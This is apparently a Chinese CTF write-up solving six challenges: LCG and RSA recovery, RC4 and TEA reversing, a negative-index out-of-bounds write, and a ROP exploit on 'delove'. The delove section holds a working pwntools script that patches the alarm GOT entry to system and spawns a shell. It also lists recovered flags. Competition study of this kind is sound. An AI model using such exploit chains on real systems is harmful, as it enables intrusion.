Crypto/easy_math
一个prng给出6个值求下一个
from Crypto.Util.number import *
from random import *
p = getPrime(128)
seed = randint(2, p - 1)
class prng:
n = p
a,b = [randint(2, p - 1) for _ in range(2)]
def __init__(self,seed):
self.state = seed
def next(self):
self.state = (self.state * self.a + self.b) % self.n
return self.state
def main():
gen = prng(seed)
s = [seed]
s.append(gen.next())
s.append(gen.next())
s.append(gen.next())
s.append(gen.next())
s.append(gen.next())
s.append(gen.next())
f = open("output.txt",'w')
json.dump(s,f)
f.close()
flag = "flag{"+str(gen.next())+"}"
return flag
main()
用idea求参数,然后。
不过这里的模直接可能求不出来,需要再次分解一下。
s = [288530505749272642500730917886204398531, 63547143998110685331032679758907988154, 15151206512028268617888756820805603406, 268092204209244869520724955865278855216, 261067075335188593563542448889694952077, 138067838531633886698552659065694918861, 201319433320428898153580935653793106657]
P.<a,b>=PolynomialRing(ZZ)
f1 = s[0]*a + b - s[1]
f2 = s[1]*a + b - s[2]
f3 = s[2]*a + b - s[3]
F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
n = res[2]
a = -res[0]%n
b = -res[1]%n
#n = 59249682751769503363203316110512196880237843716287147146582920698090041055874
#a = 39639496895451871655974701456410309491353853288625558323316881871468943264668
#b = 22810180391048437581755014951877814670401528287956870993064116275158840869196
#factor(n) = 2 * 3 * 29 * 563 * 115108456715191 * 16799523207879604613 * 312769358113056565136009929613710078319
n = 312769358113056565136009929613710078319
a = 40963964079686917005166446559117876093
b = 11856650155037935400579201826386146297
#(s[6]*a +b)%n
s7 = 302184756857257140159769321021979097116
#flag{302184756857257140159769321021979097116}
Crypto/easy_rsa
from Crypto.Util.number import *
from flag import flag
p1 = getPrime(512)
q1 = getPrime(512)
n1 = p1 * q1
e = 65537
p2 = getPrime(1024)
q2 = getPrime(1024)
n2 = p2 * q2
leak1 = (p2+q2) >> 400
leak2 = (p1 & ((1 << 350) - 1)) >> 5
enc = pow(leak2,e,n2)
c = pow(bytes_to_long(flag),e,n1)
f = open(f'output.txt','w')
f.write(f'n1 = {n1}\n')
f.write(f'n2 = {n2}\n')
f.write(f'leak1 = {leak1}\n')
f.write(f'enc = {enc}\n')
f.write(f'c = {c}')
f.close()
两次rsa,可以根据leak1=(p2+q2)>>400求出得到p2,q2,然后求出leak2,再根据leak2求p1
虽然都不复杂,可这两个模板不是大众型的,有必要存好。
n1 = 105813626754830369767796578799226643889033227412658130226893708851110720416468059965713264658478299377654212587044247669928410442281831382577490105352633718272894531572352233211881056495752193201866649055622358234888531194346296702453105176147272971386928767457928148705433435309063146652094354833396307613911
n2 = 20369481027961668058257949652346266097405331865071244844827896944882851755421021125005038786750268341013032202394581223828526073179263634639721089663050687773353438686984875196973012077948955566738301337866191557952973517042420660699281973702694965572488938789954679350791243570953680441483360036599350550534192027759384675611155970913348616382186229565994100357427843446265863186624731991521034305958565644266001622849342042747046352413268149901263629515623929619659379883036239511300563910486156582808698915297257307692017642458823600500445082987244477251123335410633989767118317681371314078169733374888688620813839
leak1 = 110733171993470709195465104383246525062178362778220972191726705114514369848757940664883819735824778128179586221599072975207093223575285541338555960658178287486722693023393688158120847028382
enc = 3724360314735337348015983350518926695244720487101059718828225257324872465291143851090607580822961202894850524395217010317254775500983396154162166500198523991652838543842978138662752717532358799622372813160573374563924704242911344052149200174619645796187521459916955545794017698320367273671936314947729523150627463505338870024421481261166504454532278895870561732979282672259730923724762173494886613682487373643406390205027508946750313076817576295795818790961232101069994823561840743308871216879655652136743807002025483269687509388947008928281179566366429525183899914275273098400627187051739816901887290337980735995613
c = 38127787578353827234498259231834082660893046004292279030517959465543348558091033172704284501791369355347078715874056471582324178524957666710131669794646539355849074198396968523041568909435662208846480656877184197877122598569708545477705274221697660270808685794034776172296500330563270867517390911486555286886
e = 65537
#leak1 = (p2+q2) >> 400
RF = RealField(2048) #2048位精度实数
X = polygen(RF)
f = X*((leak1<<400)-X) -n2
P_high = int(f.roots()[1][0])
#P_high = (P<<410)>>410 #未知部分400位,但会有进位影响
PR.<x> = PolynomialRing(Zmod(n2))
f1 = x + P_high
x0 = f1.small_roots(X=2^410, beta=0.4)[0]
p2 = f1(x0)
print(n2%p2)
p2 = 151399048655298148018688323609718705920605086712318698086250277971491481779504840614471253946764630599745412866850500656954922361816231030123945084396794404269982437117950486373905356265950808460057643971210951709676705550508291196476405125057071271317182732652055355984683359771176148502822187125614565868259
q2 = 134541671225018271403953787373408507465730892003631249716123043010464351342881237505189677861071006923092011330983761091184598196512437449946447759771425031294468141216072218813533336313651823171925311705682558765317115569680736707328403560829555033008387085671352235353814183291570781754064065104600110875621
#enc = pow(leak2,e,n2)
leak2 = pow(enc,inverse_mod(e,(p2-1)*(q2-1)), n2)
#leak2 = 22334810767801800995021872014176778873829048161801414909315794486047873481911273730826962574216771288781
#leak2 = (p1 & ((1 << 350) - 1)) >> 5
for i in range(32):
p1_l = (leak2<<5) + i
P.<x> = PolynomialRing(Zmod(n1))
f = x*2^350 + p1_l
v = f.monic().small_roots(X=2^(512-350), beta=0.4)
if v != []:
x0 = v[0]
p1 = f(x0)
print(p1)
p1 = int(p1)
q1 = n1//p1
break
p1 = 11239391699442192016394616757221620834717629054697859972076207292592548525033647125013001671320452447403380966370885392089905799108483165855335320142731687
q1 = 9414533240271523909175466549989578413560381929724653857969276831718175551727032446390484582550970699995107874013408751551550726534204653674601330352393553
#c = pow(bytes_to_long(flag),e,n1)
flag = pow(c,inverse_mod(e,(p1-1)*(q1-1)),n1)
bytes.fromhex(hex(int(flag))[2:])
#b'flag{9995eae8acaac286c7b72e50e5258dc3}'
PWN/delove
题目是个一次read ,没有输出,上回写过一回合题
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
alarm(0x20u);
read(0, buf, 0x100uLL);
return 0LL;
}
自从版本高一点后就有一个新gadget
.text:0000000000400512 C6 05 1F 0B 20 00 01 mov cs:byte_601038, 1
.text:0000000000400519 5D pop rbp
.text:000000000040051A C3 retn
这个代码在错位后,015DC3 可以在指定地址加指定值
0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
这题由于读入长度只有0x100所以/bin/sh只能先用read读进来,然后再把got.alarm改成system
(这里只用到add,没用到ret2csu)
from pwn import *
p = process('./delove')
context(arch='amd64', log_level='debug')
elf = ELF('./delove')
libc = ELF('./libc-2.27.so')
pop_rdi = 0x00000000004005d3 # pop rdi ; ret
pop_rsi = 0x00000000004005d1 # pop rsi ; pop r15 ; ret
ret = pop_rdi+1
add_dword_rbp_0x3d_ebx_ret = 0x00400518 # 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x004005ca #__libc_csu_init
mov_call = 0x004005a6
bss = elf.bss(0) #stdout
buf = elf.bss(0x40)
def ret2csu(rdi=0, rsi=0, rdx=0, rbp=0xdeadbeef, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
0, 1, rdi, rsi, rdx, addr, mov_call,
0, 0, rbp, 0, 0, 0, 0,
])
def add(off, addr=bss):
return flat([
pop_rbx_rbp_r12_r13_r14_r15_ret,
off, addr + 0x3d, 0, 0, 0, 0,
add_dword_rbp_0x3d_ebx_ret,
])
one = [0x4f2a5, 0x4f302, 0x10a2fc]
payload = b'a' * 0x38 + flat([
add(libc.sym['system'] - libc.sym['alarm'], elf.got['alarm']), #alarm->one
pop_rdi, buf, elf.plt['alarm']
])
#gdb.attach(p, "b*0x400564\nc")
p.send(b'A'*0x30 + flat(0, pop_rdi, 0, pop_rsi,buf,0, elf.plt['read'], 0x400537).ljust(0x100-0x30, b'\x00'))
p.send(b'/bin/sh\x00'.ljust(0x100, b'\x00'))
p.send(payload)
p.sendline(b'cat /flag')
p.interactive()
PWN/easyshell
这题是脑筋急转弯,给了10次猜,虽然有随机数,但你可以猜同一个,错了还会保存数。怎么都能猜对9次吧,但得到shell需要至少11次
unsigned __int64 game()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("input the index");
__isoc99_scanf("%d", &v1);
puts("input the result");
__isoc99_scanf("%d", &v2);
if ( pp[v1] == v2 )
{
puts("right!");
++coins;
}
else
{
puts("wrong!");
pp[v1] = v2;
}
if ( coins > 10 )
{
puts("wow you are so good!");
system("/bin/sh");
}
return __readfsqword(0x28u) ^ v3;
}
但是可以输入负数越界把值输入到coins
输入-1,A就比10大了
REV/rrrrr
三部分,主体有密钥,然后 init和异或加密,RC4
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned __int64 v3; // rax
unsigned __int64 v5; // [rsp+8h] [rbp-148h]
char v6[42]; // [rsp+16h] [rbp-13Ah] BYREF
__int64 v7[34]; // [rsp+40h] [rbp-110h] BYREF
v7[33] = __readfsqword(0x28u);
memset(v7, 0, 256);
strcpy(v6, "rcrcrcrc4");
__isoc99_scanf("%29s", &v6[10]);
v5 = strlen(&v6[10]);
v3 = strlen(v6);
sub_11C9((__int64)v7, (__int64)v6, v3);
sub_14A2((__int64)v7, (__int64)&v6[10], v5);
if ( !memcmp(&v6[10], &unk_4010, 0x1DuLL) )
puts("yes~~~~~~~~~~~~~~~~~");
else
puts("no!!!!!!!!!!!!!!!!!!!!!!!");
return 0LL;
}
init密钥部分
unsigned __int64 __fastcall sub_11C9(__int64 a1, __int64 a2, unsigned __int64 a3)
{
char v4; // [rsp+27h] [rbp-119h]
int i; // [rsp+28h] [rbp-118h]
int j; // [rsp+28h] [rbp-118h]
int v7; // [rsp+2Ch] [rbp-114h]
__int64 v8[33]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v9; // [rsp+138h] [rbp-8h]
v9 = __readfsqword(0x28u);
v7 = 0;
memset(v8, 0, 256);
for ( i = 0; i <= 255; ++i )
{
*(_BYTE *)(i + a1) = i;
*((_BYTE *)v8 + i) = *(_BYTE *)(i % a3 + a2);
}
for ( j = 0; j <= 255; ++j )
{
v7 = (*((unsigned __int8 *)v8 + j) + v7 + *(unsigned __int8 *)(j + a1)) % 256;
v4 = *(_BYTE *)(j + a1);
*(_BYTE *)(j + a1) = *(_BYTE *)(v7 + a1);
*(_BYTE *)(a1 + v7) = v4;
}
return v9 - __readfsqword(0x28u);
}
加密部分
unsigned __int64 __fastcall sub_14A2(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 result; // rax
char v4; // [rsp+23h] [rbp-15h]
int v5; // [rsp+24h] [rbp-14h]
int v6; // [rsp+28h] [rbp-10h]
unsigned __int64 i; // [rsp+30h] [rbp-8h]
v5 = 0;
v6 = 0;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
v4 = *(_BYTE *)(v5 + a1);
*(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(a1 + v6) = v4;
*(_BYTE *)(a2 + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
}
return result;
}
对照解密
'''
v7 = 0;
memset(v8, 0, 256);
for ( i = 0; i <= 255; ++i )
{
*(_BYTE *)(i + a1) = i;
*((_BYTE *)v8 + i) = *(_BYTE *)(i % a3 + a2);
}
for ( j = 0; j <= 255; ++j )
{
v7 = (*((unsigned __int8 *)v8 + j) + v7 + *(unsigned __int8 *)(j + a1)) % 256;
v4 = *(_BYTE *)(j + a1);
*(_BYTE *)(j + a1) = *(_BYTE *)(v7 + a1);
*(_BYTE *)(a1 + v7) = v4;
}
'''
key = b'rcrcrcrc4'
a1 = [i for i in range(256)]
v8 = [key[i%9] for i in range(256)]
v7 = 0
for i in range(256):
v7 = (v8[i] + v7 + a1[i] )%256
v4 = a1[i]
a1[i] = a1[v7]
a1[v7] = v4
cipher = bytes.fromhex('2E4BD80F35F816F35A503F5111806B83DA7793FA31E2B0933022AFA4D9')
'''
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
v4 = *(_BYTE *)(v5 + a1);
*(_BYTE *)(v5 + a1) = *(_BYTE *)(v6 + a1);
*(_BYTE *)(a1 + v6) = v4;
*(_BYTE *)(a2 + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v5 + a1) + *(_BYTE *)(v6 + a1)) + a1);
}
'''
c = [v for v in cipher]
v5 = 0
v6 = 0
for i in range(len(cipher)):
res = i
v5 = (v5+1)%256
v6 = (v6 + a1[v5]) %256
v4 = a1[v5]
a1[v5] = a1[v6]
a1[v6] = v4
c[i] ^= a1[(a1[v5]+a1[v6])%256]
bytes(c)
#flag{rcccccccccc4_i5_s0_eAsy}
REV/self
这个居然没作出来,问了群友,原来把题目的+=看成=了
主程序部分作了SMC,需要把这一段函数异或0xc3解密,IDA才能看
int sub_400763()
{
int i; // [rsp+Ch] [rbp-14h]
mprotect(&dword_400000, 0x1000uLL, 7);
for ( i = 0; i < (unsigned __int64)((char *)sub_400763 - (char *)sub_400696); ++i )
*((_BYTE *)sub_400696 + i) ^= 0xC3u;
return mprotect(&dword_400000, 0x1000uLL, 5);
}
主程序
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int i; // [rsp+4h] [rbp-3Ch]
_QWORD s1[6]; // [rsp+10h] [rbp-30h] BYREF
s1[5] = __readfsqword(0x28u);
puts("plz input u fl4g:");
__isoc99_scanf("%32s", s1);
sub_400763();
for ( i = 0; i <= 3; ++i )
sub_400696((unsigned int *)&s1[i], dword_601080);
if ( !memcmp(s1, &unk_6010A0, 0x20uLL) )
puts("yeh~");
else
puts("oh,no");
return 0LL;
}
加密部分,是tea加密,还是见得少,见多了一眼就能看出来。
__int64 __fastcall sub_400696(unsigned int *a1, _DWORD *a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
int v5; // [rsp+18h] [rbp-8h]
unsigned int i; // [rsp+1Ch] [rbp-4h]
v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i <= 0x1F; ++i )
{
v5 -= 1640531527;
v3 += (v4 + v5) ^ (16 * v4 + *a2) ^ ((v4 >> 5) + a2[1]);
v4 += (v3 + v5) ^ (16 * v3 + a2[2]) ^ ((v3 >> 5) + a2[3]);
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
自己写的那块不好意思保留了,还是直接发师傅的WP
from ctypes import *
import libnum
def decrypt(v,k):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
delta = 0x61C88647
sum1 = c_uint32((-delta) * 32)
for i in range(32):
v1.value -= (sum1.value + v0.value) ^ (k[2] + (v0.value << 4)) ^ (k[3] + (v0.value >> 5))
v0.value -= (sum1.value + v1.value) ^ (k[0] + (v1.value << 4)) ^ (k[1] + (v1.value >> 5))
sum1.value += delta
return v0.value, v1.value
if __name__ == '__main__':
flag=b""
l=[0x0DB8F2569,0x40CD83E3,0x0A033E680,0x0FFF7A644,0x690C3A17,0x0B621B866,0x34E7E2A7,0x0AD10A692]
for i in range(0,8,2):
a = [l[i],l[i+1]]
k = [0x1234567,0x89ABCDEF,0xFEDCBA98,0x76543210]
res = decrypt(a,k)
print(res)
flag += libnum.n2s(res[0])[::-1]
flag += libnum.n2s(res[1])[::-1]
print(flag)
#5ef846656801c9b9714388d2ccd98cdd